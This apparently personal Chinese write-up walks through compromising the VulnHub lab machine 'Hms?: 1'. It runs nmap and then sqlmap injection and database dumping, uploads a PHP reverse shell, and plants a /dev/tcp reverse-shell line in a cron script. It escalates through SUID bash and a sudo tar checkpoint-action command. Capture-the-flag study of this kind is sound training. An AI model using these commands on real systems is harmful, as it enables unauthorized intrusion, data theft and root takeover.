靶机:Hms?: 1 Hms?: 1 ~ VulnHub
攻击机:kail linux 2024
主机扫描阶段发现不了靶机,所以需要按DriftingBlues2一样手动配置网卡
1,将两台虚拟机网络连接都改为NAT模式,并查看靶机的MAC地址
2,攻击机上做主机扫描发现靶机
攻击机IP地址192.168.23.128,靶机IP地址192.168.23.144
3,扫描靶机端口服务
nmap -T4 -sC -sV -p- -A --min-rate=1000 192.168.23.144
-T<0-5>:时间模板,越大速度越快
-sV:探测开放的端口的系统/服务信息
-p:指定端口扫描范围
开启了如下服务
21/tcp open ftp vsftpd 3.0.3
22/tcp open ssh OpenSSH 7.2p2 Ubuntu 4ubuntu2.10 (Ubuntu Linux; protocol 2.0)
7080/tcp open http Apache httpd 2.4.48 ((Unix) OpenSSL/1.1.1k PHP/7.3.29 mod_perl/2.0.11 Perl/v5.32.1)
4,访问web页面192.168.23.144:7080
存在一个登录页面
5,检查HTML静态页面,可能存在SQL注入漏洞
使用sqlmap进行注入
sqlmap -o -u "http://192.168.23.144:7080/login.php" --batch -forms --level=3 --risk=3
上面输出说明[email]存在[万能密码登录]样式为[or 1=1],再爆破出数据库名
sqlmap -u "http://192.168.23.144:7080/login.php" --data "user=admin&email=mayuri.infospace%40gmail.com&password=123&btn_login=" --dbs
使用数据库clinic_db爆出表名
sqlmap -u "http://192.168.23.144:7080/login.php" --data "user=admin&email=mayuri.infospace%40gmail.com&password=123&btn_login=" -D clinic_db --tables
最后爆出root用户的信息
sqlmap -u "http://192.168.23.144:7080/login.php" --data "user=admin&email=mayuri.infospace%40gmail.com&password=123&btn_login=" -D phpmyadmin --dump-all
root | 2021-07-25 22:05:10 | {"Console\\/Mode":"collapse","NavigationWidth":0}
6,使用万能密码进行登录
登录前删除type=email标签,否则无法输入万能密码
7,查看网页源码发现文件上传地址
发现setting.php,右下角可对文件进行上传
8,在指定位置上传反弹shell的php文件
Cheat Sheets | pentestmonkey,下载需要的攻击语句
9,上传成功之后再访问文件所在的目录
192.168.23.144:7080/uploadImage/Logo/2.php
同时开启端口监听 nc -lvnp 1234
10,获得终端shell,并运行python命令获得可交互shell
python -c 'import pty;pty.spawn("/bin/bash")'
11,查看权限三件套,当前权限太低
12,提权的思路是,寻找可执行的二进制文件
find / -perm -4000 -type f 2>/dev/null
发现/usr/bin/bash可执行,可以切换到用户eren
/usr/bin/bash -p
13,用户无法查看可执行文件,查看一下定时任务 cat /etc/crontab
发现backup.sh每5分钟运行一次
利用定时任务来反弹shell,提取权限,将bash命令写入backup.sh
echo "bash -i >& /dev/tcp/192.168.23.128/1235 0>&1" >> /home/eren/backup.sh
与此同时靶机开启端口监听,nc -lvp 1235
定时任务执行之后,在攻击机上就获得了靶机的shell
14,提权操作,查看一下有没有sudo权限 sudo -l,
用户eren在主机nivek上通过sudo -l命令查看得到具有特定权限:可以使用sudo以root身份无密码(NOPASSWD)执行/bin/tar命令。这是一个比较有限的权限授予情况
提权原理:tar 命令通常用于压缩和解压缩文件。在某些情况下,tar 命令可以利用 --checkpoint-action 选项来执行系统命令,从而实现提权。
使用 tar 命令执行恶意脚本:利用 sudo 权限运行 tar 命令,并使用 --checkpoint-action 选项来执行恶意脚本。
sudo tar -cf /dev/null /dev/null --checkpoint=1 --checkpoint-action=exec=/bin/sh
可以看到执行命令后提权成功,获得flag
成功得到flag
知识点: 利用tar命令提权
思路阐述:由于tar命令在一些情况下如果被不当使用可能会导致提权。例如,如果目标系统存在可被利用的文件包含漏洞或者配置不当的情况。如果能够利用tar命令在提取文件时覆盖关键系统文件(如/etc/passwd等),就有可能达到
主机扫描发现靶机——扫描靶机端口——靶机指定7080端口提供web服务——登录页面存在SQL注入漏洞,弱密码登录——上传反弹shell文件——进入php文件路径,从而获得shell——二进制文件切换用户eren——将发帖shell的bash脚本写入定时任务——定时任务更新,且靶机监听到反弹shell,成功获得终端——利用sudo命令+tar命令漏洞,成功提权成为root用户